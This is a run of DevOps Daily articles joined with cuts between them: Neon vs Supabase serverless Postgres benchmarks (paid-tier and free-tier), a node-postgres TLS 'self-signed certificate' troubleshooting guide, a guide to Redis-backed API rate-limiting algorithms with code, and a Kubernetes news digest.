Part one covered free-tier branching; the paid tiers sharpen it. A Neon branch is a copy-on-write reference to the parent's storage: it arrives carrying all data. A Supabase branch is a freshly provisioned project that replays schema and config: it arrives empty of data, on Pro as on free.

Medians: 1.7 seconds for a Neon branch with 100,000 rows of parent data, 6.2-6.7 seconds for a Supabase schema-only branch. Both respectable. Two asterisks worth your attention though:

The tail. In session one, nine Supabase branches took 6-8 seconds and one took 146 seconds, with nothing different about the request. Session two had no such outlier, which is exactly why we run multiple sessions. If your CI creates a branch per pull request, a 2.5-minute outlier is the kind of thing that makes a developer rerun the pipeline and file a flaky-infra ticket.

The with_data flag. Supabase's branch API accepts with_data: true, which on paper would close the data gap. In practice, every attempt on our freshly created projects failed with 406 "Failed to fetch latest physical backup": data branches require the project to already have physical backups, which fresh projects do not have and which normally arrives with the PITR add-on. For the create-test-destroy loop that makes branching valuable, data-included branches on Supabase have prerequisites that defeat the purpose today.

Read replicas: attach vs clone

Adding a read replica is where the two architectures stop being abstract diagrams and start being your wait time.

Neon: 8 seconds median to a replica answering queries. There is nothing to copy; a read-only compute attaches to the same shared storage as the primary, so replica creation is compute provisioning, full stop. It also means no replication lag in the classic sense and no extra storage bill.

Supabase: 181 seconds median, remarkably consistent (our session-one runs landed within a 2-second band of each other), because each replica is a physical clone of the database with WAL streaming, the way RDS would do it. Two operational prerequisites we hit: the primary must run Small compute or larger (the API rejects replicas on Micro with "Read replicas require a minimum size of small"), and replica disk bills at 1.25x the primary's size.

Neither approach is wrong. Clones isolate replicas from primary storage performance; shared storage makes replicas instant and cheap. But if your scaling playbook says "add a replica when read latency climbs", one platform executes that play in seconds and the other in minutes, and the minutes version also costs a compute-size bump if you started small.

Does any of this scale with database size?

The attach-vs-clone story makes a testable prediction: copy-on-write operations should stay flat as the database grows, physical clones should not. So we reran branches and replicas at 100k, 1M, and 5M seeded rows, a 50x span.

The prediction holds, with one nuance. Neon branches are flat to the decimal (1.73s, 1.67s, 1.67s) and so are its replicas (7.9s, 8.0s, 8.2s): there is nothing that copies data, so data size cannot matter. Supabase branches are also flat at 6.4s, but for the less flattering reason that they only copy schema. Supabase replicas are the one operation where size shows: the median grew 12% by 5M rows and p95 stretched from 182s to 234s. At a few hundred megabytes, provisioning still dominates the clone; at real production sizes, the copy takes over and that line keeps climbing. Our benchmark budget stops at 5M rows, but the direction is unambiguous, and it compounds the playbook problem above: the moment you most need a replica is the moment your database is biggest.

The connection stampede: a tie worth publishing

Serverless platforms fail in bursts: two hundred function invocations wake at once and all of them want a connection. We simulated exactly that through each platform's transaction pooler: N simultaneous cold connections, each performing connect, TLS, auth, one query, disconnect.

Both platforms absorb a 200-connection stampede in about a second, scaling near-linearly from 50 to 200 clients, with zero refused connections at any level on either platform. Supabase's Supavisor was a hair faster at every level; the margin is noise. After the resize and replica sections, it would be easy to expect Neon to win everything; this is the result that says the comparison is about architecture, not quality. Both teams have built excellent poolers.

Restore: the operation you hope never to time

We restored Neon branches to a point 60 seconds in the past, with 100k rows of data, eight runs per session: 5.6 to 6.9 seconds median until the management API confirmed completion and SQL answered on the restored state. That is point-in-time recovery at interactive speed, and it comes included.

On Supabase, point-in-time recovery is a $100/month add-on (per 7-day retention window, Small compute minimum), so we documented it rather than benchmarked it; daily backups are included on Pro but a daily backup is a very different promise from PITR when the bad migration ran at 14:47. If sub-minute-granularity recovery matters to your operation, price the add-on into the comparison.

The finding we didn't go looking for

While rechecking our own dashboard we noticed something odd: project creation on the Supabase Pro org was wildly slower than the free-org numbers from part one. So we measured it properly, twice, a day apart.

Free org: 7.4 seconds median to a queryable project. Pro org: 125.2 seconds on day one (20 runs) and 111.9 seconds on day two (10 runs), so this is not a one-day capacity blip. Day two also produced two provisioning failures we did not cause: one project came up with no pooler configuration, and another returned 404 on its own ref immediately after creation. Neon, measured the same morning as a control, created projects in 5.5 seconds with no failures.

We do not know why paid-org provisioning is 15x slower than free; nothing in the documentation suggests it should be. If your platform automation creates Supabase projects programmatically (per-tenant databases, ephemeral environments), budget two minutes and a retry loop, not eight seconds. We have raw samples committed for all three sessions and would genuinely welcome an explanation.

What failed, and what it taught us

A benchmark that reports only clean numbers is hiding something. Ours hit three walls worth knowing about:

• Supabase's addon pipeline throttling (above) means resize benchmarks, and resize automation, must wait minutes between changes.
• Supabase Management API mutations sometimes return empty response bodies, and replica setup reports no status; readiness means polling the pooler config until a READ_REPLICA entry appears. Automation against these APIs needs more defensive plumbing than Neon's operations API, which returns explicit operation objects with terminal states.
• A long-running idle Postgres connection on either platform will emit asynchronous errors when the server restarts under it (compute resize, for instance). If your Node service holds connections through a Supabase resize, handle the error event on your clients or the restart will take your process down with it. Ask us how we know.
• One more finding was waiting after the benchmarks ended. With every benchmark project torn down and the organization verifiably empty (GET /v1/projects and the org-scoped listing both return zero projects), downgrading the org from Pro was refused with "You still have active preview branches. Please delete all your preview branches and disable branching feature before downgrading to Free Plan." No projects exist, so no branches can: the downgrade validator appears to count orphaned branch records left behind when branches' parent projects are deleted. If you run branch-heavy ephemeral workloads on a paid org and ever plan to downgrade it, know that the exit door can be blocked by data you can no longer see or delete. Supabase support sorted it out: their team confirmed five orphaned branch projects stuck in a restoring state, each returning 403 to both reads and deletes through the public API, so only their infra team could remove them. Once they did, the downgrade went straight through. The root cause matched our guess (a branch still provisioning when its parent project was deleted), support was responsive throughout, and they said they are hardening the flow so it cannot happen again. Worth knowing this is an edge case you only reach by creating and destroying branches fast in automation, not something a normal project hits.

Verdict

The free-tier conclusion was "pick on shape, not speed". The production-tier conclusion is sharper: the operational gap is real, and it favors Neon almost everywhere it exists. Resize without downtime vs a 39-second outage with a minutes-long cooldown; replicas in 8 seconds vs 3 minutes with compute prerequisites; branches with data vs without; included interactive PITR vs a $100/month add-on. The one place the platforms tie (connection stampedes) is the one place most teams assumed serverless Postgres would struggle, and neither does.

What this verdict does not say: Supabase Pro still bundles auth, storage, realtime, and edge functions that Neon does not have today (announced, not shipped), and part one's conclusion stands: teams shipping a v1 product buy real velocity with that bundle. But if the database is the load-bearing component of your operation and you expect to resize, replicate, branch, and occasionally restore it, the operational benchmarks have a clear winner.

Every number above links to raw committed samples, the live dashboard updates with every benchmark session, and the harness is open source: if you see something off in the methodology or get different numbers, open an issue or a pull request, corrections are welcome and credited. For the architectural side by side rather than the timings, our full Neon vs Supabase comparison covers pricing models, PITR, and the bundled features in one place. Part three prices all of this against a growing application, including the cost crossover points nobody talks about.

Error: self-signed certificate in certificate chain

The cause turned out to be a behavior of pg (node-postgres) that is easy to hit and hard to suspect: when your connection string contains an sslmode parameter, the ssl options object you pass to the client is silently ignored. Your carefully loaded CA file never reaches the TLS socket.

The trap, reproduced

This is the code almost everyone writes when a provider's certs chain to a private CA (Supabase, DigitalOcean managed Postgres, Crunchy Bridge, most internal platforms):

import pg from 'pg';
import { readFileSync } from 'node:fs';

const client = new pg.Client({
  connectionString: 'postgresql://user:pass@db.example.com:5432/postgres?sslmode=require',
  ssl: {
    ca: readFileSync('./provider-ca.crt', 'utf8'),
  },
});

await client.connect();
// => Error: self-signed certificate in certificate chain

It reads like "require TLS, and here is the CA to verify against". What actually happens: pg-connection-string parses sslmode=require from the URL into its own ssl configuration, and that parsed value takes precedence over the ssl object you passed. Your ca is gone. The connection attempts full verification against the system trust store, the private CA is not in it, and you get the self-signed error even though you are holding the right certificate in your hand.

The same code with the parameter removed from the URL works immediately:

const client = new pg.Client({
  // no sslmode in the URL
  connectionString: 'postgresql://user:pass@db.example.com:5432/postgres',
  ssl: {
    ca: readFileSync('./provider-ca.crt', 'utf8'),
  },
});

await client.connect(); // verified against your CA, connects fine

Nothing about the error message points at the URL. That is what makes this trap expensive: every debugging instinct says "wrong CA file" or "incomplete chain", and both are red herrings you can burn an hour on, like we did.

The rule to remember

Configure TLS in exactly one place. With node-postgres, that place should be the ssl option:

• Strip sslmode (and sslcert, sslkey, sslrootcert) out of connection strings your code receives, or never put them there.
• Put everything TLS-related in the ssl object: ca for private CAs, plus client certs if you use them.
• An ssl object with a ca implies verification. Never "fix" this error with rejectUnauthorized: false; that disables verification entirely and turns your database connection into a man-in-the-middle exercise.

If the connection string comes from an environment variable you do not control, sanitize it:

const url = new URL(process.env.DATABASE_URL);
url.searchParams.delete('sslmode');

const client = new pg.Client({
  connectionString: url.toString(),
  ssl: { ca: readFileSync('./provider-ca.crt', 'utf8') },
});

It gets stranger: sslmode does not mean what libpq taught you

If you watched your Node process closely while reproducing this, you saw a warning that documents a second surprise:

Warning: SECURITY WARNING: The SSL modes 'prefer', 'require', and 'verify-ca'
are treated as aliases for 'verify-full'.
In the next major version (pg-connection-string v3.0.0 and pg v9.0.0), these
modes will adopt standard libpq semantics, which have weaker security guarantees.

In libpq (the C library that psql and most languages' drivers wrap), sslmode=require means "encrypt, but do not verify the certificate". In current node-postgres, require is treated as verify-full: encrypt AND verify hostname AND chain. Stricter than what the same string means everywhere else, which is exactly why the failure above happens with providers on private CAs: psql connects happily with sslmode=require while your Node service refuses.

Two practical consequences:

• A connection string copied from provider docs (written with libpq semantics in mind) can work in psql and fail in Node with the same sslmode=require.
• When pg v9 lands, the same string changes meaning again, to the weaker libpq behavior. If you rely on sslmode=require giving you verification today, that silently stops being true on upgrade. One more reason to own TLS in the ssl object and keep the URL clean. If you need the libpq behavior now, pg already supports uselibpqcompat=true&sslmode=require.

The Supabase specifics, since that is where most people hit this

Three details that compound the confusion when the provider is Supabase:

Their certs chain to a private CA. Database connections present certificates signed by "Supabase Root 2021 CA", not a public authority. Download the root from the dashboard (Database settings, SSL) and pass it via ssl.ca. With the URL trap above, this is the step that looks broken even when you did it right.

Free-plan direct hosts are IPv6-only. db.<ref>.supabase.co has no A record. If your client runs on an IPv4-only network (most CI runners, many VPSes, lots of home ISPs), direct connections cannot work at all and you must use their Supavisor pooler instead: session mode on port 5432, transaction mode on 6543. The pooler presents the same private-CA chain, so the ssl.ca requirement follows you there.

The pooler hostname varies per project. Our first benchmark project landed on aws-1-eu-central-1.pooler.supabase.com while most docs and tutorials show aws-0-.... Both clusters exist. Read your project's actual connection details from the dashboard or the Management API rather than pattern-matching a tutorial.

None of this is unique to Supabase; any provider with a private CA plus a pooler can serve the same combination. Supabase just happens to be where a lot of Node developers meet all three at once.

A five-line sanity test that would have saved us an hour

When TLS fails and you suspect the CA, test the chain without pg in the way:

import tls from 'node:tls';
import net from 'node:net';
import { readFileSync } from 'node:fs';

const sock = net.connect(5432, 'your-db-host', () => {
  sock.write(Buffer.from([0, 0, 0, 8, 4, 210, 22, 47])); // Postgres SSLRequest
  sock.once('data', () => {
    const t = tls.connect(
      { socket: sock, ca: readFileSync('./provider-ca.crt'), servername: 'your-db-host' },
      () => console.log('authorized:', t.authorized, t.authorizationError ?? '')
    );
  });
});

Postgres TLS starts with an in-protocol handshake (that 8-byte SSLRequest message), so plain openssl s_client needs -starttls postgres for the same check. If this prints authorized: true while pg fails with the same CA, you are not fighting certificates. You are fighting configuration precedence, and the URL is the first place to look.

Takeaways

• sslmode in a node-postgres connection string overrides your ssl options object. Silently. Keep TLS config in the ssl object and keep sslmode out of your URLs.
• node-postgres currently treats require as verify-full, unlike libpq. pg v9 will flip to libpq semantics, weakening what your existing strings mean.
• Never reach for rejectUnauthorized: false. The fix is removing the conflicting URL parameter, not removing verification.
• For Supabase specifically: grab their root CA, expect IPv6-only direct hosts on the free plan, and read the pooler hostname from your own project settings.

The full context, with measured numbers around it, is in our Neon vs Supabase free tier benchmarks, and the harness where we hit this is open at The-DevOps-Daily/serverless-postgres-benchmarks with a live results dashboard.

So we ran real operations against them. 320 timed samples across nine operation types, both platforms in the same AWS region (eu-central-1, Frankfurt), measured from a client VM in the same metro so network distance could not put a thumb on the scale. Every raw sample, the harness that produced it, and a live dashboard are public, so you can check the math or rerun the whole thing yourself: explore the live results dashboard or read the harness at The-DevOps-Daily/serverless-postgres-benchmarks.

This is the free tier piece. Paid-tier operations (read replicas, compute resizing, Supabase branching) get their own article once those runs land.

TLDR

• Query latency is a tie. Every connection path on both platforms lands at a 25 to 30 ms median for a full connect + TLS + auth + query cycle from a same-region client. Do not pick either platform for single-query speed.
• Project creation is closer than you think. Neon: 5.7 s median to a queryable database. Supabase: 7.4 s. Both have outliers above 11 s.
• The idle behavior is the real difference. Neon free databases scale to zero after 5 minutes and wake automatically in about 570 ms. Supabase free projects pause after 7 days of inactivity and stay down until you log in and restore them by hand.
• Branching only exists on one side. Neon free includes copy-on-write branches that arrive carrying the parent's data, queryable in 2.2 s. Supabase branching requires a paid plan and starts without data.
• Networking will surprise you. Supabase free-tier direct connections are IPv6-only. From an IPv4 client (most CI runners, many VPSes, most home networks) you must use their pooler, and the TLS chain is signed by Supabase's own CA.

How we measured

The harness is a small TypeScript runner that drives each platform's management API plus a regular pg connection. The rules:

• Both platforms in aws eu-central-1, measured from a 2 vCPU VM in Frankfurt (1 to 2 ms from both).
• Every operation runs repeatedly: 50 runs for latency paths, 20 for project creation and cold starts, 10 for branching. Reports use median and p95, never single runs.
• Latency samples use a cold connection each time: connect, TLS handshake, auth, select 1, disconnect. That is what a serverless function pays per invocation without a warm pool, and it is a fairer test than hammering one warm session.
• Every resource is created fresh, named bench-*, and deleted after the run.
• Raw samples are committed to the repo with region, plan, and client metadata. The numbers below link to data, not to memory.

Free plans on both sides, as of June 2026.

Query latency: stop arguing about it

Five different connection paths, 50 cold-connection cycles each:

That is a 5 ms spread across ten thousand-ish kilometers of marketing. At equal network distance, the free tiers are latency-equivalent for a single query. The spread between the fastest and slowest path on the same platform is bigger than the spread between platforms.

The percentile view makes the tails visible too. Every one of the 250 samples, ranked:

What this means in practice: latency should not be on your decision sheet at all. Region placement matters about 10x more than vendor choice, because every millisecond of client-to-region distance gets added to each of these numbers.

Project creation: both are fast now

Time from the management API call to the first successful select 1, 20 runs each:

Two things stood out. First, both are genuinely fast: a complete, queryable Postgres in single-digit seconds. Supabase used to take minutes to provision a project; that reputation is outdated. Second, neither is consistent: Neon's fastest run was 3.5 s and its slowest 13.6 s, nearly a 4x spread, so do not build automation that assumes the median.

If your workflow creates databases programmatically (per-tenant databases, ephemeral test environments, agent-driven tooling), both free tiers can technically do it, but the caps differ wildly: Neon allows up to 100 projects on the free plan, Supabase allows 2 active projects per organization. For anything that creates databases in a loop, that single line of the spec sheet decides for you before any benchmark does.

Idle behavior: a nap versus a coma

This is the section that should actually drive your decision for side projects, and it is the one spec sheets describe worst.

Neon free compute always scales to zero after 5 minutes of inactivity. You cannot turn that off on the free plan. The flip side: it wakes automatically on the next connection. We suspended and woke a database 20 times:

• Wake query (first query against suspended compute): 568 ms median, 1.06 s p95, worst case 1.55 s.

Neon's docs say cold starts are "typically a few hundred milliseconds" with 500 ms as the usual ceiling. Measured from a same-region client, reality is a bit slower: our median sat just above their typical ceiling, and the p95 crossed a full second. Not bad, just not quite the brochure. For a hobby app behind a page load, an occasional extra half second on the first request after a quiet stretch is invisible. For a latency-sensitive API that gets sparse traffic, it is a real consideration.

Supabase free compute never naps; your project runs a dedicated instance around the clock, so there are no cold starts at all. Instead, after 7 days without activity, the whole project is paused. A paused project does not wake on connection. You log into the dashboard and restore it manually, which takes on the order of minutes, and until you do, every connection fails outright.

So the trade is: Neon costs you ~570 ms after every 5 quiet minutes but never needs you; Supabase costs you nothing while active but a manual rescue if you ever leave it alone for a week. For a demo you show twice a month, that 7-day pause is the difference between "works when the customer clicks" and "dead link in your portfolio."

Branching: only one of them brings the data

Database branching is the headline feature of serverless Postgres, and on free tiers it is not a comparison, because only Neon has it there. We branched a project carrying 100,000 seeded rows, 10 times:

• Writable branch, parent's full dataset included, queryable: 2.2 s median, 3.2 s p95.

One honest nuance the marketing skips: the copy-on-write storage operation itself is effectively instant, but a usable branch needs its own compute endpoint, and provisioning that is where the 2 seconds go. "Branches in milliseconds" is true at the storage layer and false at the connection string. What you actually get is a full writable copy of a database, with data, in about the time it takes to read this sentence, which is still excellent and still the same primitive that makes per-PR preview databases and agent test loops practical.

Supabase shipped Branching 2.0 in 2025 (Git optional, branch from the dashboard or API), but it requires a paid plan, each branch bills as its own compute, and branches copy schema and config without production data. We will measure it properly in the paid-tier article.

The networking fine print nobody tells you

Three things we hit while building the harness that will absolutely hit you too:

1. Supabase free direct connections are IPv6-only. db.<ref>.supabase.co has no A record, only AAAA. If your client is IPv4-only, and that includes most CI runners, many cloud VMs by default, and most home ISPs, you cannot reach the direct host at all. You connect through Supavisor instead: session mode on port 5432, transaction mode on 6543. Both pooler paths carry IPv4. (A dedicated IPv4 address for direct connections exists as a paid add-on.) Neon's endpoints answer on both stacks.

2. The Supabase pooler hostname varies per project. Our first project landed on aws-1-eu-central-1.pooler.supabase.com while the documented examples reference aws-0-.... Both exist. Do not hardcode the pooler host from a tutorial; read your project's connection info from the dashboard or the Management API.

3. Supabase database TLS chains to Supabase's own CA. The certs are not signed by a public authority, so a client that verifies certificates (which should be all of them) needs their root certificate. And if you use node-postgres, there is a trap inside the trap: when your connection string contains sslmode=require, pg silently ignores the ssl options object where you so carefully loaded that CA file, and verification fails with self-signed certificate in certificate chain. Drop sslmode from the URL and configure TLS exclusively through the ssl option. That one cost us an hour; it is yours for free.

None of these are dealbreakers. All three are the kind of thing you want to know on a Tuesday afternoon rather than discover during a Friday deploy.

The limits, side by side

The measured behavior above, plus the caps that matter, as of June 2026:

Which free tier should you pick?

The latency tie makes this refreshingly simple: pick on shape, not speed.

Pick Neon's free tier when the database is the product. Side projects with irregular traffic (auto-wake beats manual restore), anything that needs many databases (100 projects vs 2), CI and preview environments (branching with data is free-tier-exclusive), and agent or automation workflows that create and destroy databases programmatically.

Pick Supabase's free tier when you are shipping an app, not a database. The bundled auth, storage, realtime, and auto-generated APIs replace three or four other free tiers you would otherwise stitch together, and 50K monthly active users of free auth is genuinely hard to beat. Just put a calendar reminder somewhere if the project might go quiet for a week.

One forward-looking note: in June 2026 Neon announced S3-compatible object storage that branches with the database, serverless functions, and an AI gateway, all marked coming soon. If those ship, the bundled-stack gap narrows; we will rerun this comparison when they do.

And if you are still torn, the structural differences run deeper than the free tiers: we maintain a full Neon vs Supabase comparison covering architecture, pricing models, PITR, and the paid features side by side.

Where the series goes next

This post is part one. The free tiers are where you start, but the interesting differences show up when money and production traffic enter the picture, so we kept going:

• Part two: operational benchmarks times the operations that page you: compute resize (and its downtime), branching at scale, read replicas, point-in-time restore, and 200-connection stampedes, on the paid tiers.
• Part three: scaling costs prices the same application through five growth stages on both platforms, with an open source cost model you can rerun on your own workload.

Run it yourself

Every number in this post is the median of committed raw samples. The live dashboard tracks every benchmark session (the charts there update as new runs land, including a latency-over-time view), and the harness behind it is about 600 lines of TypeScript: The-DevOps-Daily/serverless-postgres-benchmarks. Bring your own API keys, npm run bench, and argue with our data instead of someone's vibes.

These benchmarks are fully open source, and contributions are welcome. If you spot something off in the methodology, know a fairer way to measure an operation, or get different numbers from another region or another month, open an issue or send a pull request to the repo. The whole point of publishing the harness and every raw sample is that this comparison can be checked, challenged, and improved by anyone, instead of being remembered as a vibe.

If you run any public or shared API, this is not a hypothetical. The fix is rate limiting, and the hard part is not the idea, it is picking the right algorithm and implementing it so it actually holds up behind a load balancer.

This post compares the four rate limiting algorithms you will actually see in production (fixed window, sliding window, token bucket, leaky bucket), shows you working code you can copy, and gives you a straight answer on which one to use.

TLDR

• Token bucket is the right default for most public APIs. It allows controlled bursts and is cheap to run in Redis.
• Sliding window counter is the best choice when you want accurate limits without the boundary-burst problem of fixed windows.
• Fixed window is the simplest and cheapest, but it lets a client send up to 2x your limit across a window boundary. Fine for rough internal limits, bad for billing or abuse control.
• Leaky bucket smooths bursty input into a constant output rate. Use it when a downstream system can only handle a fixed throughput, not when you want to allow bursts.
• Do the counting in a shared store (Redis) with an atomic operation. In-memory counters break the moment you run more than one instance.
• Return 429 Too Many Requests with a Retry-After header. Decide up front whether you fail open or fail closed when Redis is down.

Prerequisites

• A running API service (the examples use Python and FastAPI, but the logic ports to any language)
• Redis 6 or newer reachable from your service, for distributed counting
• Basic familiarity with HTTP status codes and headers
• redis-py installed (pip install redis) if you want to run the Python examples

Why in-memory counters fail first

Before the algorithms, the trap everyone hits. The naive version looks like this:

# DO NOT use this in production
from collections import defaultdict
import time

counters = defaultdict(list)

def allow(client_id, limit=100, window=60):
    now = time.time()
    counters[client_id] = [t for t in counters[client_id] if t > now - window]
    if len(counters[client_id]) >= limit:
        return False
    counters[client_id].append(now)
    return True

This works on your laptop and fails in production for one reason: the counter lives in the memory of a single process. Run three replicas behind a load balancer and each one tracks its own count, so your "100 requests per minute" limit becomes 300. Restart a pod and the counter resets. Autoscale to ten pods and the limit is meaningless.

Rate limiting state has to live somewhere shared and the check has to be atomic. That is why every serious example below uses Redis.

The four algorithms

Fixed window counter

Count requests in a fixed time block (say, per calendar minute). When the clock ticks over to the next minute, the count resets to zero.

def fixed_window(redis, key, limit, window):
    count = redis.incr(key)
    if count == 1:
        # first request in this window, set the expiry
        redis.expire(key, window)
    return count <= limit

It is fast, uses almost no memory (one integer per client), and is trivial to reason about. The problem is the boundary. A client can send limit requests in the last second of one window and another limit in the first second of the next:

window 1 (00:00-00:59)                window 2 (01:00-01:59)
                          |<- 1 second ->|
            100 reqs at 00:59.5    100 reqs at 01:00.2
            = 200 requests in ~0.7 seconds

For a limit that maps to real cost (database load, a paid quota), that 2x burst is a real bug. Use fixed window only for rough limits where the occasional double burst does not hurt you.

Sliding window log

Keep a timestamp for every request and count how many fall inside the trailing window. This is exact, no boundary problem, but you store one entry per request. A client at 1,000 requests per minute means 1,000 timestamps in memory per client. That cost adds up fast across many clients, so reserve the sliding log for low-volume endpoints where precision matters (think a "5 password resets per hour" rule).

Sliding window counter

The practical middle ground. Keep a counter per fixed window, then estimate the rolling count by weighting the previous window by how much of it still overlaps the trailing period.

import time

def sliding_window(redis, key, limit, window):
    now = time.time()
    current = int(now // window)
    previous = current - 1
    # how far we are into the current window, as a fraction
    elapsed = (now % window) / window

    cur_count = int(redis.get(f"{key}:{current}") or 0)
    prev_count = int(redis.get(f"{key}:{previous}") or 0)

    # weighted estimate of requests in the trailing window
    estimated = prev_count * (1 - elapsed) + cur_count
    if estimated >= limit:
        return False

    pipe = redis.pipeline()
    pipe.incr(f"{key}:{current}")
    pipe.expire(f"{key}:{current}", window * 2)
    pipe.execute()
    return True

This gives you accuracy very close to a true sliding window at the cost of two integers per client. It smooths out the boundary burst because the previous window's count still pulls weight right after the rollover. This is a solid default if token bucket does not fit your mental model.

Token bucket

Picture a bucket that holds tokens. Every request takes one token. Tokens refill at a steady rate up to a maximum capacity. If the bucket is empty, the request is rejected.

        refill at 10 tokens/sec
                 |
                 v
        +------------------+
        |  tokens: 73/100  |   capacity = 100 (max burst)
        +------------------+
                 |
          1 token per request
                 v
            request allowed

The capacity controls how big a burst you allow; the refill rate controls the sustained throughput. A client that has been quiet can spend its full bucket at once (a burst), then is held to the refill rate. This matches how people actually use APIs, which is why most public APIs (Stripe, GitHub, AWS) use token bucket or a close variant.

The catch is that refill and spend have to be atomic, or two concurrent requests can both read the same token count and both spend it. Do it in a single Redis Lua script so the whole read-refill-spend cycle runs without interruption:

-- token_bucket.lua
-- KEYS[1] = bucket key
-- ARGV[1] = capacity
-- ARGV[2] = refill rate (tokens per second)
-- ARGV[3] = current time (seconds, with fraction)
-- ARGV[4] = tokens requested (cost)
local capacity = tonumber(ARGV[1])
local refill_rate = tonumber(ARGV[2])
local now = tonumber(ARGV[3])
local requested = tonumber(ARGV[4])

local bucket = redis.call('HMGET', KEYS[1], 'tokens', 'last')
local tokens = tonumber(bucket[1])
local last = tonumber(bucket[2])

if tokens == nil then
  tokens = capacity
  last = now
end

-- refill based on time elapsed since the last request
local elapsed = math.max(0, now - last)
tokens = math.min(capacity, tokens + elapsed * refill_rate)

local allowed = 0
if tokens >= requested then
  tokens = tokens - requested
  allowed = 1
end

redis.call('HMSET', KEYS[1], 'tokens', tokens, 'last', now)
-- expire idle buckets so Redis does not fill up with stale keys
redis.call('EXPIRE', KEYS[1], math.ceil(capacity / refill_rate) * 2)

return { allowed, tokens }

Load it once and call it per request:

import time
import redis

r = redis.Redis(host="localhost", port=6379, decode_responses=True)

with open("token_bucket.lua") as f:
    take_token = r.register_script(f.read())

def allow(key, capacity=100, refill_rate=10, cost=1):
    allowed, remaining = take_token(
        keys=[key],
        args=[capacity, refill_rate, time.time(), cost],
    )
    return bool(allowed), int(remaining)

Leaky bucket

A leaky bucket is a queue that drains at a constant rate. Requests pour in (possibly in bursts), sit in the queue, and leave at a fixed pace. If the queue is full, new requests are dropped.

   bursty requests in
        | | |  |
        v v v  v
     +-----------+
     |  queue    |   drops when full
     +-----------+
           |
      constant drain (e.g. 10 req/sec)
           v
      to downstream

The difference from token bucket matters. Token bucket allows a burst to pass through immediately as long as it has tokens. Leaky bucket never lets the output exceed the drain rate, no matter what. Use leaky bucket when the thing behind your API can only handle a steady throughput, for example a legacy system or a third-party API with a hard ceiling. If you want to allow bursts, use token bucket instead.

Which one should you use?

If you are not sure, use token bucket. It handles real traffic well, the burst behavior is intuitive, and the Redis implementation above is production-ready. Reach for the sliding window counter if "X requests per minute" is easier to explain to your customers than a bucket.

Wiring it into your API

Here is the token bucket as FastAPI middleware. It keys off the client IP, but in production you should key off the API key or authenticated user ID so a shared NAT does not punish everyone behind it.

from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse

app = FastAPI()

@app.middleware("http")
async def rate_limit(request: Request, call_next):
    client_key = request.headers.get("x-api-key") or request.client.host
    key = f"rl:{client_key}"

    try:
        allowed, remaining = allow(key, capacity=100, refill_rate=10)
    except redis.RedisError:
        # fail open: if Redis is down, let traffic through rather than
        # taking the whole API offline. See the note below.
        return await call_next(request)

    if not allowed:
        return JSONResponse(
            status_code=429,
            content={"error": "rate limit exceeded", "retry_after": 1},
            headers={
                "Retry-After": "1",
                "X-RateLimit-Limit": "100",
                "X-RateLimit-Remaining": "0",
            },
        )

    response = await call_next(request)
    response.headers["X-RateLimit-Limit"] = "100"
    response.headers["X-RateLimit-Remaining"] = str(remaining)
    return response

Send back the standard headers. Clients use X-RateLimit-Remaining to slow themselves down before they hit the wall, and Retry-After tells a well-behaved client exactly how long to wait. Skipping these turns every client into a blind retry machine, which is the opposite of what you want.

Fail open or fail closed?

When Redis is unreachable, you have two choices and you must pick deliberately:

• Fail open (allow the request): the right default for general traffic. A Redis blip should not take your whole API down. The example above does this.
• Fail closed (reject the request): the right call for login, password reset, and payment endpoints, where letting traffic through unmetered is worse than a brief outage.

Do not leave this to chance. An unhandled Redis exception that bubbles up as a 500 is the worst of both worlds.

Do it at the edge when you can

If all you need is a flat limit per IP, do not write code at all. Put it in nginx in front of your service:

# define a shared memory zone keyed by client IP, 10 req/sec
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;

server {
    location /api/ {
        # allow short bursts of 20, no artificial delay on them
        limit_req zone=api burst=20 nodelay;
        limit_req_status 429;
        proxy_pass http://backend;
    }
}

nginx's limit_req is a leaky bucket under the hood. This stops abusive traffic before it ever reaches your application, which is exactly where you want to drop it. Use the application-level Redis approach when you need per-user limits, different tiers, or limits that depend on the request body. Use both together for defense in depth.

Seeing it work

Fire a quick loop at the endpoint and watch the limit kick in:

$ for i in $(seq 1 12); do \
    curl -s -o /dev/null -w "%{http_code} " http://localhost:8000/api/data; \
  done
200 200 200 200 200 200 200 200 200 200 429 429

The full response on a rejected request:

$ curl -i http://localhost:8000/api/data
HTTP/1.1 429 Too Many Requests
content-type: application/json
retry-after: 1
x-ratelimit-limit: 100
x-ratelimit-remaining: 0

{"error":"rate limit exceeded","retry_after":1}

And the bucket state itself, straight from Redis:

$ redis-cli HGETALL rl:203.0.113.45
1) "tokens"
2) "0"
3) "last"
4) "1717840800.123"

Tokens at zero, last access timestamped. Wait a second and the Lua script refills 10 tokens on the next request.

Next steps

• Add the token bucket Lua script and FastAPI middleware to one endpoint, key it off the API key, and load test it with hey -z 30s -c 50 http://localhost:8000/api/data to confirm the 429s show up where you expect.
• Set your capacity and refill_rate from real traffic, not guesses. Pull your p99 requests-per-second per client from logs and set the sustained rate a bit above that, with capacity for a 5 to 10 second burst.
• Pick fail-open or fail-closed per endpoint group and write it into the code, not a wiki page.
• Add X-RateLimit-* headers to every response and document them so client teams can back off gracefully.
• Put a flat per-IP limit_req in nginx as a cheap outer wall, even if you already limit per user in the app.
• Alert on your 429 rate. A sudden spike means either an abusive client or a limit set too low for legitimate traffic, and you want to know which before the support tickets arrive.

📌 Handpicked by DevOps Daily - Your weekly dose of curated DevOps news and updates!

⚓ Kubernetes

📄 Benchmarking KubeVirt performance with virtbench

Organizations migrating VM estates from traditional hypervisors to KubeVirt often discover that many Kubernetes observability tools were originally designed around container workloads rather than VM-c

📅 Jun 8, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Scaling the future: How Garanti BBVA manages etcd in massive Red Hat OpenShift environments

At the OpenShift Commons Gathering in Amsterdam on March 23—a Day Zero event for KubeCon + CloudNativeCon Europe 2026—attendees got a deep look into the engine room of 1 of Turkey's largest private ba

📅 Jun 5, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 The path to autonomous intelligent networks

Telecommunications (telco) service providers face a landscape of massive operational complexity. As they adopt 5G standalone architectures and multivendor radio access networks (RANs), they must manag

📅 Jun 4, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Build an EKS Environment Factory with Pulumi and vCluster

AWS reports in an AWS Architecture Blog case study that Deloitte’s move to a virtual cluster model on Amazon EKS resulted in 89% faster testing environment provisioning. By consolidating dozens of dis

📅 Jun 4, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 Field Notes: Using the Harvester CSI Driver to consume Longhorn storage in your guest cluster

